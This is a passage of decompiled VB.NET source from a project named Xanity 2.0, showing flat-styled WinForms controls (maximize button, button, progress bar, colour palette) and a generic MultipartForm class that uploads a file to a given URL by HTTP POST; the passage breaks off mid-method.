21 | Me.DoubleBuffered = True 22 | Me.BackColor = Color.White 23 | Dim size2 As New Size(&H12, &H12) 24 | Me.Size = size2 25 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 26 | Me.Font = New Font("Marlett", 12!) 27 | End Sub 28 | 29 | _ 30 | Private Shared Sub __ENCAddToList(ByVal value As Object) 31 | Dim list As List(Of WeakReference) = FlatMax.__ENCList 32 | SyncLock list 33 | If (FlatMax.__ENCList.Count = FlatMax.__ENCList.Capacity) Then 34 | Dim index As Integer = 0 35 | Dim num3 As Integer = (FlatMax.__ENCList.Count - 1) 36 | Dim i As Integer = 0 37 | Do While (i <= num3) 38 | Dim reference As WeakReference = FlatMax.__ENCList.Item(i) 39 | If reference.IsAlive Then 40 | If (i <> index) Then 41 | FlatMax.__ENCList.Item(index) = FlatMax.__ENCList.Item(i) 42 | End If 43 | index += 1 44 | End If 45 | i += 1 46 | Loop 47 | FlatMax.__ENCList.RemoveRange(index, (FlatMax.__ENCList.Count - index)) 48 | FlatMax.__ENCList.Capacity = FlatMax.__ENCList.Count 49 | End If 50 | FlatMax.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 51 | End SyncLock 52 | End Sub 53 | 54 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 55 | MyBase.OnClick(e) 56 | Select Case Me.FindForm.WindowState 57 | Case FormWindowState.Normal 58 | Me.FindForm.WindowState = FormWindowState.Maximized 59 | Exit Select 60 | Case FormWindowState.Maximized 61 | Me.FindForm.WindowState = FormWindowState.Normal 62 | Exit Select 63 | End Select 64 | End Sub 65 | 66 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 67 | MyBase.OnMouseDown(e) 68 | Me.State = MouseState.Down 69 | Me.Invalidate 70 | End Sub 71 | 72 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 73 | MyBase.OnMouseEnter(e) 74 | Me.State = MouseState.Over 75 | Me.Invalidate 76 | End Sub 77 | 78 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 79 | MyBase.OnMouseLeave(e) 80 | Me.State = MouseState.None 81 | Me.Invalidate 82 | End Sub 83 | 84 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 85 | MyBase.OnMouseMove(e) 86 | Me.x = e.X 87 | Me.Invalidate 88 | End Sub 89 | 90 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 91 | MyBase.OnMouseUp(e) 92 | Me.State = MouseState.Over 93 | Me.Invalidate 94 | End Sub 95 | 96 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 97 | Dim rectangle2 As Rectangle 98 | Dim image As New Bitmap(Me.Width, Me.Height) 99 | Dim graphics As Graphics = Graphics.FromImage(image) 100 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 101 | Dim graphics2 As Graphics = graphics 102 | graphics2.SmoothingMode = SmoothingMode.HighQuality 103 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 104 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 105 | graphics2.Clear(Me.BackColor) 106 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 107 | If (Me.FindForm.WindowState = FormWindowState.Maximized) Then 108 | rectangle2 = New Rectangle(1, 1, Me.Width, Me.Height) 109 | graphics2.DrawString("1", Me.Font, New SolidBrush(Me.TextColor), rectangle2, Helpers.CenterSF) 110 | ElseIf (Me.FindForm.WindowState = FormWindowState.Normal) Then 111 | rectangle2 = New Rectangle(1, 1, Me.Width, Me.Height) 112 | graphics2.DrawString("2", Me.Font, New SolidBrush(Me.TextColor), rectangle2, Helpers.CenterSF) 113 | End If 114 | Select Case CByte((CInt(Me.State) - 1)) 115 | Case 0 116 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 117 | Exit Select 118 | Case 1 119 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 120 | Exit Select 121 | End Select 122 | graphics2 = Nothing 123 | MyBase.OnPaint(e) 124 | graphics.Dispose 125 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 126 | e.Graphics.DrawImageUnscaled(image, 0, 0) 127 | image.Dispose 128 | End Sub 129 | 130 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 131 | MyBase.OnResize(e) 132 | Dim size2 As New Size(&H12, &H12) 133 | Me.Size = size2 134 | End Sub 135 | 136 | 137 | ' Properties 138 | _ 139 | Public Property BaseColor As Color 140 | Get 141 | Return Me._BaseColor 142 | End Get 143 | Set(ByVal value As Color) 144 | Me._BaseColor = value 145 | End Set 146 | End Property 147 | 148 | _ 149 | Public Property TextColor As Color 150 | Get 151 | Return Me._TextColor 152 | End Get 153 | Set(ByVal value As Color) 154 | Me._TextColor = value 155 | End Set 156 | End Property 157 | 158 | 159 | ' Fields 160 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 161 | Private _BaseColor As Color 162 | Private _TextColor As Color 163 | Private State As MouseState 164 | Private x As Integer 165 | End Class 166 | End Namespace 167 | 168 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatButton.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | 11 | Namespace Xanity_2._0 12 | Friend Class FlatButton 13 | Inherits Control 14 | ' Methods 15 | Public Sub New() 16 | FlatButton.__ENCAddToList(Me) 17 | Me._Rounded = False 18 | Me.State = MouseState.None 19 | Me._BaseColor = Helpers._FlatColor 20 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 21 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.SupportsTransparentBackColor Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint)))), True) 22 | Me.DoubleBuffered = True 23 | Dim size2 As New Size(&H6A, &H20) 24 | Me.Size = size2 25 | Me.BackColor = Color.Transparent 26 | Me.Font = New Font("Segoe UI", 12!) 27 | Me.Cursor = Cursors.Hand 28 | End Sub 29 | 30 | _ 31 | Private Shared Sub __ENCAddToList(ByVal value As Object) 32 | Dim list As List(Of WeakReference) = FlatButton.__ENCList 33 | SyncLock list 34 | If (FlatButton.__ENCList.Count = FlatButton.__ENCList.Capacity) Then 35 | Dim index As Integer = 0 36 | Dim num3 As Integer = (FlatButton.__ENCList.Count - 1) 37 | Dim i As Integer = 0 38 | Do While (i <= num3) 39 | Dim reference As WeakReference = FlatButton.__ENCList.Item(i) 40 | If reference.IsAlive Then 41 | If (i <> index) Then 42 | FlatButton.__ENCList.Item(index) = FlatButton.__ENCList.Item(i) 43 | End If 44 | index += 1 45 | End If 46 | i += 1 47 | Loop 48 | FlatButton.__ENCList.RemoveRange(index, (FlatButton.__ENCList.Count - index)) 49 | FlatButton.__ENCList.Capacity = FlatButton.__ENCList.Count 50 | End If 51 | FlatButton.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 52 | End SyncLock 53 | End Sub 54 | 55 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 56 | MyBase.OnMouseDown(e) 57 | Me.State = MouseState.Down 58 | Me.Invalidate 59 | End Sub 60 | 61 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 62 | MyBase.OnMouseEnter(e) 63 | Me.State = MouseState.Over 64 | Me.Invalidate 65 | End Sub 66 | 67 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 68 | MyBase.OnMouseLeave(e) 69 | Me.State = MouseState.None 70 | Me.Invalidate 71 | End Sub 72 | 73 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 74 | MyBase.OnMouseUp(e) 75 | Me.State = MouseState.Over 76 | Me.Invalidate 77 | End Sub 78 | 79 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 80 | Helpers.B = New Bitmap(Me.Width, Me.Height) 81 | Helpers.G = Graphics.FromImage(Helpers.B) 82 | Me.W = (Me.Width - 1) 83 | Me.H = (Me.Height - 1) 84 | Dim path As New GraphicsPath 85 | Dim rect As New Rectangle(0, 0, Me.W, Me.H) 86 | Dim g As Graphics = Helpers.G 87 | g.SmoothingMode = SmoothingMode.HighQuality 88 | g.PixelOffsetMode = PixelOffsetMode.HighQuality 89 | g.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 90 | g.Clear(Me.BackColor) 91 | Select Case Me.State 92 | Case MouseState.None 93 | If Not Me.Rounded Then 94 | g.FillRectangle(New SolidBrush(Me._BaseColor), rect) 95 | g.DrawString(Me.Text, Me.Font, New SolidBrush(Me._TextColor), rect, Helpers.CenterSF) 96 | Exit Select 97 | End If 98 | path = Helpers.RoundRec(rect, 6) 99 | g.FillPath(New SolidBrush(Me._BaseColor), path) 100 | g.DrawString(Me.Text, Me.Font, New SolidBrush(Me._TextColor), rect, Helpers.CenterSF) 101 | Exit Select 102 | Case MouseState.Over 103 | If Not Me.Rounded Then 104 | g.FillRectangle(New SolidBrush(Me._BaseColor), rect) 105 | g.FillRectangle(New SolidBrush(Color.FromArgb(20, Color.White)), rect) 106 | g.DrawString(Me.Text, Me.Font, New SolidBrush(Me._TextColor), rect, Helpers.CenterSF) 107 | Exit Select 108 | End If 109 | path = Helpers.RoundRec(rect, 6) 110 | g.FillPath(New SolidBrush(Me._BaseColor), path) 111 | g.FillPath(New SolidBrush(Color.FromArgb(20, Color.White)), path) 112 | g.DrawString(Me.Text, Me.Font, New SolidBrush(Me._TextColor), rect, Helpers.CenterSF) 113 | Exit Select 114 | Case MouseState.Down 115 | If Not Me.Rounded Then 116 | g.FillRectangle(New SolidBrush(Me._BaseColor), rect) 117 | g.FillRectangle(New SolidBrush(Color.FromArgb(20, Color.Black)), rect) 118 | g.DrawString(Me.Text, Me.Font, New SolidBrush(Me._TextColor), rect, Helpers.CenterSF) 119 | Exit Select 120 | End If 121 | path = Helpers.RoundRec(rect, 6) 122 | g.FillPath(New SolidBrush(Me._BaseColor), path) 123 | g.FillPath(New SolidBrush(Color.FromArgb(20, Color.Black)), path) 124 | g.DrawString(Me.Text, Me.Font, New SolidBrush(Me._TextColor), rect, Helpers.CenterSF) 125 | Exit Select 126 | End Select 127 | g = Nothing 128 | MyBase.OnPaint(e) 129 | Helpers.G.Dispose 130 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 131 | e.Graphics.DrawImageUnscaled(Helpers.B, 0, 0) 132 | Helpers.B.Dispose 133 | End Sub 134 | 135 | 136 | ' Properties 137 | _ 138 | Public Property BaseColor As Color 139 | Get 140 | Return Me._BaseColor 141 | End Get 142 | Set(ByVal value As Color) 143 | Me._BaseColor = value 144 | End Set 145 | End Property 146 | 147 | _ 148 | Public Property Rounded As Boolean 149 | Get 150 | Return Me._Rounded 151 | End Get 152 | Set(ByVal value As Boolean) 153 | Me._Rounded = value 154 | End Set 155 | End Property 156 | 157 | _ 158 | Public Property TextColor As Color 159 | Get 160 | Return Me._TextColor 161 | End Get 162 | Set(ByVal value As Color) 163 | Me._TextColor = value 164 | End Set 165 | End Property 166 | 167 | 168 | ' Fields 169 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 170 | Private _BaseColor As Color 171 | Private _Rounded As Boolean 172 | Private _TextColor As Color 173 | Private H As Integer 174 | Private State As MouseState 175 | Private W As Integer 176 | End Class 177 | End Namespace 178 | 179 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatProgressBar.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.Collections.Generic 4 | Imports System.ComponentModel 5 | Imports System.Diagnostics 6 | Imports System.Drawing 7 | Imports System.Drawing.Drawing2D 8 | Imports System.Drawing.Text 9 | Imports System.Runtime.CompilerServices 10 | Imports System.Windows.Forms 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatProgressBar 14 | Inherits ProgressBar 15 | ' Methods 16 | Public Sub New() 17 | FlatProgressBar.__ENCAddToList(Me) 18 | Me._Value = 0 19 | Me._Maximum = 100 20 | Me._BaseColor = Color.FromArgb(&H2D, &H2F, &H31) 21 | Me._ProgressColor = Helpers._FlatColor 22 | Me._DarkerProgress = Color.FromArgb(&H17, &H94, &H5C) 23 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 24 | Me.DoubleBuffered = True 25 | Me.BackColor = Color.FromArgb(60, 70, &H49) 26 | Me.Height = &H2A 27 | End Sub 28 | 29 | _ 30 | Private Shared Sub __ENCAddToList(ByVal value As Object) 31 | Dim list As List(Of WeakReference) = FlatProgressBar.__ENCList 32 | SyncLock list 33 | If (FlatProgressBar.__ENCList.Count = FlatProgressBar.__ENCList.Capacity) Then 34 | Dim index As Integer = 0 35 | Dim num3 As Integer = (FlatProgressBar.__ENCList.Count - 1) 36 | Dim i As Integer = 0 37 | Do While (i <= num3) 38 | Dim reference As WeakReference = FlatProgressBar.__ENCList.Item(i) 39 | If reference.IsAlive Then 40 | If (i <> index) Then 41 | FlatProgressBar.__ENCList.Item(index) = FlatProgressBar.__ENCList.Item(i) 42 | End If 43 | index += 1 44 | End If 45 | i += 1 46 | Loop 47 | FlatProgressBar.__ENCList.RemoveRange(index, (FlatProgressBar.__ENCList.Count - index)) 48 | FlatProgressBar.__ENCList.Capacity = FlatProgressBar.__ENCList.Count 49 | End If 50 | FlatProgressBar.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 51 | End SyncLock 52 | End Sub 53 | 54 | Protected Overrides Sub CreateHandle() 55 | MyBase.CreateHandle 56 | Me.Height = &H2A 57 | End Sub 58 | 59 | Public Sub Increment(ByVal Amount As Integer) 60 | Me.Value = (Me.Value + Amount) 61 | End Sub 62 | 63 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 64 | Dim rectangle3 As Rectangle 65 | Helpers.B = New Bitmap(Me.Width, Me.Height) 66 | Helpers.G = Graphics.FromImage(Helpers.B) 67 | Me.W = (Me.Width - 1) 68 | Me.H = (Me.Height - 1) 69 | Dim rect As New Rectangle(0, &H18, Me.W, Me.H) 70 | Dim path As New GraphicsPath 71 | Dim path2 As New GraphicsPath 72 | Dim path3 As New GraphicsPath 73 | Dim g As Graphics = Helpers.G 74 | g.SmoothingMode = SmoothingMode.HighQuality 75 | g.PixelOffsetMode = PixelOffsetMode.HighQuality 76 | g.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 77 | g.Clear(Me.BackColor) 78 | Dim num As Integer = CInt(Math.Round(CDbl(((CDbl(Me._Value) / CDbl(Me._Maximum)) * Me.Width)))) 79 | Dim num2 As Integer = Me.Value 80 | If (num2 = 0) Then 81 | g.FillRectangle(New SolidBrush(Me._BaseColor), rect) 82 | rectangle3 = New Rectangle(0, &H18, (num - 1), (Me.H - 1)) 83 | g.FillRectangle(New SolidBrush(Me._ProgressColor), rectangle3) 84 | ElseIf (num2 = 100) Then 85 | g.FillRectangle(New SolidBrush(Me._BaseColor), rect) 86 | rectangle3 = New Rectangle(0, &H18, (num - 1), (Me.H - 1)) 87 | g.FillRectangle(New SolidBrush(Me._ProgressColor), rectangle3) 88 | Else 89 | g.FillRectangle(New SolidBrush(Me._BaseColor), rect) 90 | rectangle3 = New Rectangle(0, &H18, (num - 1), (Me.H - 1)) 91 | path.AddRectangle(rectangle3) 92 | g.FillPath(New SolidBrush(Me._ProgressColor), path) 93 | Dim brush As New HatchBrush(HatchStyle.Plaid, Me._DarkerProgress, Me._ProgressColor) 94 | rectangle3 = New Rectangle(0, &H18, (num - 1), (Me.H - 1)) 95 | g.FillRectangle(brush, rectangle3) 96 | Dim rectangle As New Rectangle((num - &H12), 0, &H22, &H10) 97 | path2 = Helpers.RoundRec(rectangle, 4) 98 | g.FillPath(New SolidBrush(Me._BaseColor), path2) 99 | path3 = Helpers.DrawArrow((num - 9), &H10, True) 100 | g.FillPath(New SolidBrush(Me._BaseColor), path3) 101 | rectangle3 = New Rectangle((num - 11), -2, Me.W, Me.H) 102 | g.DrawString(Conversions.ToString(Me.Value), New Font("Segoe UI", 10!), New SolidBrush(Me._ProgressColor), rectangle3, Helpers.NearSF) 103 | End If 104 | g = Nothing 105 | MyBase.OnPaint(e) 106 | Helpers.G.Dispose 107 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 108 | e.Graphics.DrawImageUnscaled(Helpers.B, 0, 0) 109 | Helpers.B.Dispose 110 | End Sub 111 | 112 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 113 | MyBase.OnResize(e) 114 | Me.Height = &H2A 115 | End Sub 116 | 117 | 118 | ' Properties 119 | _ 120 | Public Property DarkerProgress As Color 121 | Get 122 | Return Me._DarkerProgress 123 | End Get 124 | Set(ByVal value As Color) 125 | Me._DarkerProgress = value 126 | End Set 127 | End Property 128 | 129 | _ 130 | Public Property Maximum As Integer 131 | Get 132 | Return Me._Maximum 133 | End Get 134 | Set(ByVal value As Integer) 135 | If (value < Me._Value) Then 136 | Me._Value = value 137 | End If 138 | Me._Maximum = value 139 | Me.Invalidate 140 | End Set 141 | End Property 142 | 143 | _ 144 | Public Property ProgressColor As Color 145 | Get 146 | Return Me._ProgressColor 147 | End Get 148 | Set(ByVal value As Color) 149 | Me._ProgressColor = value 150 | End Set 151 | End Property 152 | 153 | _ 154 | Public Property Value As Integer 155 | Get 156 | If (Me._Value = 0) Then 157 | Return 0 158 | End If 159 | Return Me._Value 160 | End Get 161 | Set(ByVal value As Integer) 162 | If (value > Me._Maximum) Then 163 | value = Me._Maximum 164 | Me.Invalidate 165 | End If 166 | Me._Value = value 167 | Me.Invalidate 168 | End Set 169 | End Property 170 | 171 | 172 | ' Fields 173 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 174 | Private _BaseColor As Color 175 | Private _DarkerProgress As Color 176 | Private _Maximum As Integer 177 | Private _ProgressColor As Color 178 | Private _Value As Integer 179 | Private H As Integer 180 | Private W As Integer 181 | End Class 182 | End Namespace 183 | 184 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatColorPalette.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | 11 | Namespace Xanity_2._0 12 | Friend Class FlatColorPalette 13 | Inherits Control 14 | ' Methods 15 | Public Sub New() 16 | FlatColorPalette.__ENCAddToList(Me) 17 | Me._Red = Color.FromArgb(220, &H55, &H60) 18 | Me._Cyan = Color.FromArgb(10, &H9A, &H9D) 19 | Me._Blue = Color.FromArgb(0, &H80, &HFF) 20 | Me._LimeGreen = Color.FromArgb(&H23, &HA8, &H6D) 21 | Me._Orange = Color.FromArgb(&HFD, &HB5, &H3F) 22 | Me._Purple = Color.FromArgb(&H9B, &H58, &HB5) 23 | Me._Black = Color.FromArgb(&H2D, &H2F, &H31) 24 | Me._Gray = Color.FromArgb(&H3F, 70, &H49) 25 | Me._White = Color.FromArgb(&HF3, &HF3, &HF3) 26 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 27 | Me.DoubleBuffered = True 28 | Me.BackColor = Color.FromArgb(60, 70, &H49) 29 | Dim size2 As New Size(160, 80) 30 | Me.Size = size2 31 | Me.Font = New Font("Segoe UI", 12!) 32 | End Sub 33 | 34 | _ 35 | Private Shared Sub __ENCAddToList(ByVal value As Object) 36 | Dim list As List(Of WeakReference) = FlatColorPalette.__ENCList 37 | SyncLock list 38 | If (FlatColorPalette.__ENCList.Count = FlatColorPalette.__ENCList.Capacity) Then 39 | Dim index As Integer = 0 40 | Dim num3 As Integer = (FlatColorPalette.__ENCList.Count - 1) 41 | Dim i As Integer = 0 42 | Do While (i <= num3) 43 | Dim reference As WeakReference = FlatColorPalette.__ENCList.Item(i) 44 | If reference.IsAlive Then 45 | If (i <> index) Then 46 | FlatColorPalette.__ENCList.Item(index) = FlatColorPalette.__ENCList.Item(i) 47 | End If 48 | index += 1 49 | End If 50 | i += 1 51 | Loop 52 | FlatColorPalette.__ENCList.RemoveRange(index, (FlatColorPalette.__ENCList.Count - index)) 53 | FlatColorPalette.__ENCList.Capacity = FlatColorPalette.__ENCList.Count 54 | End If 55 | FlatColorPalette.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 56 | End SyncLock 57 | End Sub 58 | 59 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 60 | Helpers.B = New Bitmap(Me.Width, Me.Height) 61 | Helpers.G = Graphics.FromImage(Helpers.B) 62 | Me.W = (Me.Width - 1) 63 | Me.H = (Me.Height - 1) 64 | Dim g As Graphics = Helpers.G 65 | g.SmoothingMode = SmoothingMode.HighQuality 66 | g.PixelOffsetMode = PixelOffsetMode.HighQuality 67 | g.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 68 | g.Clear(Me.BackColor) 69 | Dim rect As New Rectangle(0, 0, 20, 40) 70 | g.FillRectangle(New SolidBrush(Me._Red), rect) 71 | rect = New Rectangle(20, 0, 20, 40) 72 | g.FillRectangle(New SolidBrush(Me._Cyan), rect) 73 | rect = New Rectangle(40, 0, 20, 40) 74 | g.FillRectangle(New SolidBrush(Me._Blue), rect) 75 | rect = New Rectangle(60, 0, 20, 40) 76 | g.FillRectangle(New SolidBrush(Me._LimeGreen), rect) 77 | rect = New Rectangle(80, 0, 20, 40) 78 | g.FillRectangle(New SolidBrush(Me._Orange), rect) 79 | rect = New Rectangle(100, 0, 20, 40) 80 | g.FillRectangle(New SolidBrush(Me._Purple), rect) 81 | rect = New Rectangle(120, 0, 20, 40) 82 | g.FillRectangle(New SolidBrush(Me._Black), rect) 83 | rect = New Rectangle(140, 0, 20, 40) 84 | g.FillRectangle(New SolidBrush(Me._Gray), rect) 85 | rect = New Rectangle(160, 0, 20, 40) 86 | g.FillRectangle(New SolidBrush(Me._White), rect) 87 | rect = New Rectangle(0, &H16, Me.W, Me.H) 88 | g.DrawString("Color Palette", Me.Font, New SolidBrush(Me._White), rect, Helpers.CenterSF) 89 | g = Nothing 90 | MyBase.OnPaint(e) 91 | Helpers.G.Dispose 92 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 93 | e.Graphics.DrawImageUnscaled(Helpers.B, 0, 0) 94 | Helpers.B.Dispose 95 | End Sub 96 | 97 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 98 | MyBase.OnResize(e) 99 | Me.Width = 180 100 | Me.Height = 80 101 | End Sub 102 | 103 | 104 | ' Properties 105 | _ 106 | Public Property Black As Color 107 | Get 108 | Return Me._Black 109 | End Get 110 | Set(ByVal value As Color) 111 | Me._Black = value 112 | End Set 113 | End Property 114 | 115 | _ 116 | Public Property Blue As Color 117 | Get 118 | Return Me._Blue 119 | End Get 120 | Set(ByVal value As Color) 121 | Me._Blue = value 122 | End Set 123 | End Property 124 | 125 | _ 126 | Public Property Cyan As Color 127 | Get 128 | Return Me._Cyan 129 | End Get 130 | Set(ByVal value As Color) 131 | Me._Cyan = value 132 | End Set 133 | End Property 134 | 135 | _ 136 | Public Property Gray As Color 137 | Get 138 | Return Me._Gray 139 | End Get 140 | Set(ByVal value As Color) 141 | Me._Gray = value 142 | End Set 143 | End Property 144 | 145 | _ 146 | Public Property LimeGreen As Color 147 | Get 148 | Return Me._LimeGreen 149 | End Get 150 | Set(ByVal value As Color) 151 | Me._LimeGreen = value 152 | End Set 153 | End Property 154 | 155 | _ 156 | Public Property Orange As Color 157 | Get 158 | Return Me._Orange 159 | End Get 160 | Set(ByVal value As Color) 161 | Me._Orange = value 162 | End Set 163 | End Property 164 | 165 | _ 166 | Public Property Purple As Color 167 | Get 168 | Return Me._Purple 169 | End Get 170 | Set(ByVal value As Color) 171 | Me._Purple = value 172 | End Set 173 | End Property 174 | 175 | _ 176 | Public Property Red As Color 177 | Get 178 | Return Me._Red 179 | End Get 180 | Set(ByVal value As Color) 181 | Me._Red = value 182 | End Set 183 | End Property 184 | 185 | _ 186 | Public Property White As Color 187 | Get 188 | Return Me._White 189 | End Get 190 | Set(ByVal value As Color) 191 | Me._White = value 192 | End Set 193 | End Property 194 | 195 | 196 | ' Fields 197 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 198 | Private _Black As Color 199 | Private _Blue As Color 200 | Private _Cyan As Color 201 | Private _Gray As Color 202 | Private _LimeGreen As Color 203 | Private _Orange As Color 204 | Private _Purple As Color 205 | Private _Red As Color 206 | Private _White As Color 207 | Private H As Integer 208 | Private W As Integer 209 | End Class 210 | End Namespace 211 | 212 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/MultipartForm.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.Collections 4 | Imports System.IO 5 | Imports System.Net 6 | Imports System.Runtime.CompilerServices 7 | Imports System.Text 8 | 9 | Namespace Xanity_2._0 10 | Public Class MultipartForm 11 | ' Methods 12 | Public Sub New(ByVal url__1 As String) 13 | Me.URL = url__1 14 | Me.coFormFields = New Hashtable 15 | Me.ResponseText = New StringBuilder 16 | Me.BufferSize = &H2800 17 | Me.BeginBoundary = "ou812--------------8c405ee4e38917c" 18 | Me.TransferHttpVersion = HttpVersion.Version11 19 | Me.FileContentType = "text/xml" 20 | End Sub 21 | 22 | Public Function getFileheader(ByVal aFilename As String) As String 23 | Return String.Concat(New String() { Me.ContentBoundary, ChrW(13) & ChrW(10), MultipartForm.CONTENT_DISP, """file""; filename=""", Path.GetFileName(aFilename), """" & ChrW(13) & ChrW(10) & "Content-type: ", Me.FileContentType, ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10) }) 24 | End Function 25 | 26 | Public Function getFiletrailer() As String 27 | Return (ChrW(13) & ChrW(10) & Me.EndingBoundary) 28 | End Function 29 | 30 | Public Function getFormfields() As String 31 | Dim str2 As String = "" 32 | Dim enumerator As IDictionaryEnumerator = Me.coFormFields.GetEnumerator 33 | Do While enumerator.MoveNext 34 | str2 = String.Concat(New String() { str2, Me.ContentBoundary, ChrW(13) & ChrW(10), MultipartForm.CONTENT_DISP, """", Convert.ToString(RuntimeHelpers.GetObjectValue(enumerator.Key)), """" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10), Convert.ToString(RuntimeHelpers.GetObjectValue(enumerator.Value)), ChrW(13) & ChrW(10) }) 35 | Loop 36 | Return str2 37 | End Function 38 | 39 | Public Overridable Sub getResponse() 40 | If (Me.coFileStream Is Nothing) Then 41 | Dim response As WebResponse 42 | Dim str As String 43 | Try 44 | response = Me.coRequest.GetResponse 45 | Catch exception1 As WebException 46 | ProjectData.SetProjectError(exception1) 47 | Dim exception As WebException = exception1 48 | response = exception.Response 49 | ProjectData.ClearProjectError 50 | End Try 51 | If (response Is Nothing) Then 52 | Throw New Exception("MultipartForm: Error retrieving server response") 53 | End If 54 | Dim reader As New StreamReader(response.GetResponseStream) 55 | Me.ResponseText.Length = 0 56 | Do While (Not MultipartForm.InlineAssignHelper(Of String)(str, reader.ReadLine) Is Nothing) 57 | Me.ResponseText.Append(str) 58 | Loop 59 | response.Close 60 | End If 61 | End Sub 62 | 63 | Public Overridable Function getStream() As Stream 64 | If (Me.coFileStream Is Nothing) Then 65 | Return Me.coRequest.GetRequestStream 66 | End If 67 | Return Me.coFileStream 68 | End Function 69 | 70 | Private Shared Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T 71 | target = value 72 | Return value 73 | End Function 74 | 75 | Public Sub sendFile(ByVal aFilename As String) 76 | Me.coRequest = DirectCast(WebRequest.Create(Me.URL), HttpWebRequest) 77 | Me.coRequest.ProtocolVersion = Me.TransferHttpVersion 78 | Me.coRequest.Method = "POST" 79 | Me.coRequest.ContentType = ("multipart/form-data; boundary=" & Me.BeginBoundary) 80 | Me.coRequest.Headers.Add("Cache-Control", "no-cache") 81 | Me.coRequest.KeepAlive = True 82 | Dim str As String = Me.getFormfields 83 | Dim str2 As String = Me.getFileheader(aFilename) 84 | Dim str3 As String = Me.getFiletrailer 85 | Dim info As New FileInfo(aFilename) 86 | Me.coRequest.ContentLength = (((str.Length + str2.Length) + str3.Length) + info.Length) 87 | Dim io As Stream = Me.getStream 88 | Me.writeString(io, str) 89 | Me.writeString(io, str2) 90 | Me.writeFile(io, aFilename) 91 | Me.writeString(io, str3) 92 | Me.getResponse 93 | io.Close 94 | Me.coRequest = Nothing 95 | End Sub 96 | 97 | Public Sub setField(ByVal key As String, ByVal str As String) 98 | Me.coFormFields.Item(key) = str 99 | End Sub 100 | 101 | Public Sub setFilename(ByVal path As String) 102 | Me.coFileStream = New FileStream(path, FileMode.Create, FileAccess.Write) 103 | End Sub 104 | 105 | Public Sub writeFile(ByVal io As Stream, ByVal aFilename As String) 106 | Dim num As Integer 107 | Dim stream As New FileStream(aFilename, FileMode.Open, FileAccess.Read) 108 | stream.Seek(0, SeekOrigin.Begin) 109 | Dim array As Byte() = New Byte(((Me.BufferSize - 1) + 1) - 1) {} 110 | Do While (MultipartForm.InlineAssignHelper(Of Integer)(num, stream.Read(array, 0, 